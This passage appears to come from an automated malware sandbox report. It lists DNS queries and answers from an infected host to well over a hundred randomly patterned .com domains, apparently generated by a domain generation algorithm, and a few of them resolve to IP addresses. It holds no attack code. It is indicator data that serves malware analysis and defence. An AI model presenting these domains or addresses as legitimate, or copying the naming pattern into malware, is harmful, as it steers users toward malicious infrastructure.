                                                                                                                                                                                                          Aug 23, 2024 18:43:45.957247972 CEST192.168.2.51.1.1.10x5590Standard query (0)pupydeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.957822084 CEST192.168.2.51.1.1.10xe6d1Standard query (0)ganyzub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.958329916 CEST192.168.2.51.1.1.10x304bStandard query (0)lykymox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.958859921 CEST192.168.2.51.1.1.10xba40Standard query (0)vopydek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.959333897 CEST192.168.2.51.1.1.10x4255Standard query (0)qebylug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.959811926 CEST192.168.2.51.1.1.10xe38bStandard query (0)pujymip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.960279942 CEST192.168.2.51.1.1.10x2d6aStandard query (0)gatydaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.960767984 CEST192.168.2.51.1.1.10xc56Standard query (0)lyvylyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.961214066 CEST192.168.2.51.1.1.10xe8f3Standard query (0)vojymic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.961672068 CEST192.168.2.51.1.1.10x7288Standard query (0)qetysal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.962142944 CEST192.168.2.51.1.1.10x9b05Standard query (0)puvylyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.962599039 CEST192.168.2.51.1.1.10x7811Standard query (0)gahynus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.963043928 CEST192.168.2.51.1.1.10xfed8Standard query (0)lyrysor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.963459969 CEST192.168.2.51.1.1.10xd2b5Standard query (0)vocykem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.963906050 CEST192.168.2.51.1.1.10x1cc3Standard query (0)qegynuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.964364052 CEST192.168.2.51.1.1.10x3501Standard query (0)purypol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.964867115 CEST192.168.2.51.1.1.10x908cStandard query (0)gacykeh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.965306997 CEST192.168.2.51.1.1.10x1346Standard query (0)lygynud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.965749025 CEST192.168.2.51.1.1.10xa965Standard query (0)vowypit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.966233969 CEST192.168.2.51.1.1.10xf171Standard query (0)qexykaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.966723919 CEST192.168.2.51.1.1.10x468dStandard query (0)pufybyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.967196941 CEST192.168.2.51.1.1.10xf2deStandard query (0)gaqypiz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.967650890 CEST192.168.2.51.1.1.10xfe39Standard query (0)lyxyjaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.968143940 CEST192.168.2.51.1.1.10xbb36Standard query (0)vofybyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.968595982 CEST192.168.2.51.1.1.10x1de3Standard query (0)qeqytup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.969091892 CEST192.168.2.51.1.1.10xc801Standard query (0)puzyjoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.969568968 CEST192.168.2.51.1.1.10x7e90Standard query (0)gadyveb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.970072985 CEST192.168.2.51.1.1.10x5771Standard query (0)lymytux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.971580029 CEST192.168.2.51.1.1.10x55cStandard query (0)volyjok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.972117901 CEST192.168.2.51.1.1.10x3086Standard query (0)qedyveg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.996980906 CEST192.168.2.51.1.1.10xd608Standard query (0)pumytup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.997076988 CEST192.168.2.51.1.1.10xd65aStandard query (0)galyhiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.997188091 CEST192.168.2.51.1.1.10x4c43Standard query (0)lysyvan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.997735023 CEST192.168.2.51.1.1.10xc690Standard query (0)vonyryc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.998347044 CEST192.168.2.51.1.1.10x71f5Standard query (0)qekyhil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.998605967 CEST192.168.2.51.1.1.10x78c7Standard query (0)pupycag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.998883963 CEST192.168.2.51.1.1.10xcca8Standard query (0)ganyrys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.999113083 CEST192.168.2.51.1.1.10xdee6Standard query (0)lykygur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.999623060 CEST192.168.2.51.1.1.10xa38eStandard query (0)vopycom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:45.999870062 CEST192.168.2.51.1.1.10x734bStandard query (0)qebyrev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.000083923 CEST192.168.2.51.1.1.10x7635Standard query (0)pujygul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.000312090 CEST192.168.2.51.1.1.10x5735Standard query (0)gatycoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.000524998 CEST192.168.2.51.1.1.10x3607Standard query (0)lyvywed.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.000708103 CEST192.168.2.51.1.1.10xfbeeStandard query (0)vojygut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.000935078 CEST192.168.2.51.1.1.10xadf3Standard query (0)qetyxiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.001152992 CEST192.168.2.51.1.1.10x725cStandard query (0)puvywav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.003582001 CEST192.168.2.51.1.1.10xb926Standard query (0)lyryxij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.003824949 CEST192.168.2.51.1.1.10x1aceStandard query (0)vocyqaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.003971100 CEST192.168.2.51.1.1.10x8c9aStandard query (0)gahyfyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.004018068 CEST192.168.2.51.1.1.10xe9a9Standard query (0)qegyfyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.004309893 CEST192.168.2.51.1.1.10x8705Standard query (0)puryxuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.004508972 CEST192.168.2.51.1.1.10x3273Standard query (0)gacyqob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.004508972 CEST192.168.2.51.1.1.10xf8fStandard query (0)lygyfex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.004739046 CEST192.168.2.51.1.1.10x246aStandard query (0)qexyqog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.004848957 CEST192.168.2.51.1.1.10xe3a5Standard query (0)vowyzuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.004944086 CEST192.168.2.51.1.1.10xc4ccStandard query (0)pufydep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.005131006 CEST192.168.2.51.1.1.10xaa79Standard query (0)gaqyzuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.005158901 CEST192.168.2.51.1.1.10x8f0bStandard query (0)lyxymin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.005326986 CEST192.168.2.51.1.1.10xe180Standard query (0)qeqylyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.005481005 CEST192.168.2.51.1.1.10x9c7dStandard query (0)puzymig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.005649090 CEST192.168.2.51.1.1.10xe837Standard query (0)vofydac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.005784035 CEST192.168.2.51.1.1.10xf0c8Standard query (0)gadydas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.005920887 CEST192.168.2.51.1.1.10x7fcfStandard query (0)lymylyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.006504059 CEST192.168.2.51.1.1.10x6098Standard query (0)volymum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.556627989 CEST192.168.2.51.1.1.10xe935Standard query (0)qedysov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.557362080 CEST192.168.2.51.1.1.10x58c8Standard query (0)pumylel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.557780981 CEST192.168.2.51.1.1.10x2024Standard query (0)galynuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.567301989 CEST192.168.2.51.1.1.10x344eStandard query (0)lysysod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.567852974 CEST192.168.2.51.1.1.10x90c6Standard query (0)vonyket.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.568396091 CEST192.168.2.51.1.1.10x8842Standard query (0)qekynuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.568907976 CEST192.168.2.51.1.1.10x1955Standard query (0)pupypiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.569403887 CEST192.168.2.51.1.1.10xde69Standard query (0)ganykaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.570231915 CEST192.168.2.51.1.1.10xbd4bStandard query (0)lykynyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.570774078 CEST192.168.2.51.1.1.10xfdc0Standard query (0)vopypif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.571310997 CEST192.168.2.51.1.1.10x7e89Standard query (0)qebykap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.571787119 CEST192.168.2.51.1.1.10x2d57Standard query (0)pujybyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.572264910 CEST192.168.2.51.1.1.10x3d49Standard query (0)gatypub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.572792053 CEST192.168.2.51.1.1.10x696aStandard query (0)lyvyjox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.573319912 CEST192.168.2.51.1.1.10x940bStandard query (0)vojybek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.573824883 CEST192.168.2.51.1.1.10x3d18Standard query (0)qetytug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.574311972 CEST192.168.2.51.1.1.10x52e2Standard query (0)puvyjop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.574806929 CEST192.168.2.51.1.1.10x7805Standard query (0)gahyvew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.575330019 CEST192.168.2.51.1.1.10x493Standard query (0)lyrytun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.575819969 CEST192.168.2.51.1.1.10xfee3Standard query (0)vocyjic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.576363087 CEST192.168.2.51.1.1.10x473fStandard query (0)qegyval.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.576833963 CEST192.168.2.51.1.1.10x1398Standard query (0)purytyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.577337027 CEST192.168.2.51.1.1.10xeb85Standard query (0)gacyhis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.577827930 CEST192.168.2.51.1.1.10x3024Standard query (0)lygyvar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.578332901 CEST192.168.2.51.1.1.10x67f8Standard query (0)vowyrym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.578830957 CEST192.168.2.51.1.1.10x3039Standard query (0)qexyhuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.579323053 CEST192.168.2.51.1.1.10x48d4Standard query (0)pufycol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.590270042 CEST192.168.2.51.1.1.10xdd3fStandard query (0)gaqyreh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.590457916 CEST192.168.2.51.1.1.10x534aStandard query (0)lyxygud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.590600967 CEST192.168.2.51.1.1.10xb10fStandard query (0)vofycot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.590747118 CEST192.168.2.51.1.1.10xd3a5Standard query (0)qeqyreq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.590882063 CEST192.168.2.51.1.1.10xdf2fStandard query (0)puzyguv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.591017008 CEST192.168.2.51.1.1.10x8307Standard query (0)gadyciz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.591141939 CEST192.168.2.51.1.1.10xef1fStandard query (0)lymywaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.591274977 CEST192.168.2.51.1.1.10x91ffStandard query (0)volygyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.591715097 CEST192.168.2.51.1.1.10x86e6Standard query (0)qedyxip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.591865063 CEST192.168.2.51.1.1.10xf1beStandard query (0)pumywaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.592010975 CEST192.168.2.51.1.1.10xef16Standard query (0)galyfyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.592499018 CEST192.168.2.51.1.1.10x7e78Standard query (0)lysyxux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.592647076 CEST192.168.2.51.1.1.10x6653Standard query (0)vonyqok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.593146086 CEST192.168.2.51.1.1.10x21Standard query (0)qekyfeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.593287945 CEST192.168.2.51.1.1.10x4e8Standard query (0)pupyxup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.593419075 CEST192.168.2.51.1.1.10x6700Standard query (0)ganyqow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.593550920 CEST192.168.2.51.1.1.10xeb7Standard query (0)lykyfen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.593687057 CEST192.168.2.51.1.1.10xc5c1Standard query (0)vopyzuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.593816996 CEST192.168.2.51.1.1.10x1adcStandard query (0)qebyqil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.593955994 CEST192.168.2.51.1.1.10xe523Standard query (0)pujydag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.594089985 CEST192.168.2.51.1.1.10x558aStandard query (0)gatyzys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.594224930 CEST192.168.2.51.1.1.10x7f7bStandard query (0)lyvymir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.594362020 CEST192.168.2.51.1.1.10x9ce0Standard query (0)vojydam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.594496965 CEST192.168.2.51.1.1.10x5c53Standard query (0)qetylyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.594630003 CEST192.168.2.51.1.1.10xf90fStandard query (0)puvymul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.594758987 CEST192.168.2.51.1.1.10xfabStandard query (0)gahydoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.594883919 CEST192.168.2.51.1.1.10x774eStandard query (0)lyryled.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.604579926 CEST192.168.2.51.1.1.10x36e2Standard query (0)vocymut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.609097004 CEST192.168.2.51.1.1.10xbc0aStandard query (0)qegysoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.614398956 CEST192.168.2.51.1.1.10xd82eStandard query (0)purylev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.622442961 CEST192.168.2.51.1.1.10x868cStandard query (0)gacynuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.622620106 CEST192.168.2.51.1.1.10x7f91Standard query (0)lygysij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.626184940 CEST192.168.2.51.1.1.10x7ebbStandard query (0)vowykaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.634584904 CEST192.168.2.51.1.1.10x8861Standard query (0)qexynyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.634757996 CEST192.168.2.51.1.1.10x600dStandard query (0)pufypiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.759641886 CEST192.168.2.51.1.1.10x6752Standard query (0)gaqykab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.766499996 CEST192.168.2.51.1.1.10xc845Standard query (0)lyxynyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.866782904 CEST192.168.2.51.1.1.10xd44Standard query (0)galynuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.965892076 CEST192.168.2.51.1.1.10x94baStandard query (0)gadyciz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.050657034 CEST192.168.2.51.1.1.10x6e10Standard query (0)vofycot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.073441029 CEST192.168.2.51.1.1.10x5c47Standard query (0)qegyval.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.164768934 CEST192.168.2.51.1.1.10x939bStandard query (0)qexyhuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.168492079 CEST192.168.2.51.1.1.10x1c15Standard query (0)lyxynyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.376519918 CEST192.168.2.51.1.1.10x1c15Standard query (0)lyxynyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.376553059 CEST192.168.2.51.1.1.10x939bStandard query (0)qexyhuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.017254114 CEST192.168.2.51.1.1.10x9b4dStandard query (0)ww16.vofycot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.123022079 CEST192.168.2.51.1.1.10xb024Standard query (0)ww25.lyxynyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.235950947 CEST192.168.2.51.1.1.10x9b4dStandard query (0)ww16.vofycot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.329720974 CEST192.168.2.51.1.1.10xb024Standard query (0)ww25.lyxynyx.comA (IP address)IN (0x0001)false

                                                                                                                                                                                                          DNS Answers

                                                                                                                                                                                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.839196920 CEST1.1.1.1192.168.2.50xd200Name error (3)puvyxil.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.847367048 CEST1.1.1.1192.168.2.50xaeb1No error (0)gahyqah.com23.253.46.64A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.847367048 CEST1.1.1.1192.168.2.50xaeb1No error (0)gahyqah.com162.255.119.102A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.848711014 CEST1.1.1.1192.168.2.50xf0a2Name error (3)purydyv.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.849841118 CEST1.1.1.1192.168.2.50xcbd9Name error (3)gacyzuz.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.850884914 CEST1.1.1.1192.168.2.50x843eName error (3)lygymoj.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.860313892 CEST1.1.1.1192.168.2.50x9de5Name error (3)gaqydeb.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.862687111 CEST1.1.1.1192.168.2.50x12c0Name error (3)lyxylux.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.864342928 CEST1.1.1.1192.168.2.50x3472Name error (3)vofymik.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.869971991 CEST1.1.1.1192.168.2.50x8300Name error (3)qegyqaq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.873773098 CEST1.1.1.1192.168.2.50xf955Name error (3)vowydef.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.876755953 CEST1.1.1.1192.168.2.50x5123Name error (3)pufymoq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.878567934 CEST1.1.1.1192.168.2.50xaee7Name error (3)qedynul.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.878968954 CEST1.1.1.1192.168.2.50x9755Name error (3)qexylup.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.880732059 CEST1.1.1.1192.168.2.50x58a1Name error (3)pumypog.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.887810946 CEST1.1.1.1192.168.2.50x1ad3Name error (3)pupybul.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.893137932 CEST1.1.1.1192.168.2.50xedc6Name error (3)vopybyt.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.894608974 CEST1.1.1.1192.168.2.50x97fbName error (3)gatyvyz.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.895600080 CEST1.1.1.1192.168.2.50xcf90Name error (3)lymysan.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.897391081 CEST1.1.1.1192.168.2.50xb306Name error (3)volykyc.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.899945974 CEST1.1.1.1192.168.2.50x5edName error (3)vojyjof.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.900836945 CEST1.1.1.1192.168.2.50x63cdName error (3)puvytuq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.900922060 CEST1.1.1.1192.168.2.50xf5bfName error (3)galykes.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.901839972 CEST1.1.1.1192.168.2.50xe90bName error (3)qetyvep.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.906212091 CEST1.1.1.1192.168.2.50x7e71Name error (3)vocyruk.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.907279968 CEST1.1.1.1192.168.2.50xa271Name error (3)qekykev.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.910033941 CEST1.1.1.1192.168.2.50xe859Name error (3)qebytiq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.914495945 CEST1.1.1.1192.168.2.50x6eb2Name error (3)purycap.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.914613008 CEST1.1.1.1192.168.2.50xa7faNo error (0)qegyhig.com188.114.97.3A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.914613008 CEST1.1.1.1192.168.2.50xa7faNo error (0)qegyhig.com188.114.96.3A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.915180922 CEST1.1.1.1192.168.2.50xe53dName error (3)lykyjad.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.915668964 CEST1.1.1.1192.168.2.50xdc51Name error (3)gacyryw.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.915915012 CEST1.1.1.1192.168.2.50x6069Name error (3)pujyjav.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.916814089 CEST1.1.1.1192.168.2.50x5bd3Name error (3)lygygin.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.916928053 CEST1.1.1.1192.168.2.50x80a2No error (0)puzylyp.com3.64.163.50A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.917777061 CEST1.1.1.1192.168.2.50x192cName error (3)ganypih.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.919589996 CEST1.1.1.1192.168.2.50x713dName error (3)lyvytuj.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:42:11.920994997 CEST1.1.1.1192.168.2.50xa889Name error (3)qexyryl.comnonenoneA (IP address)IN (0x0001)false
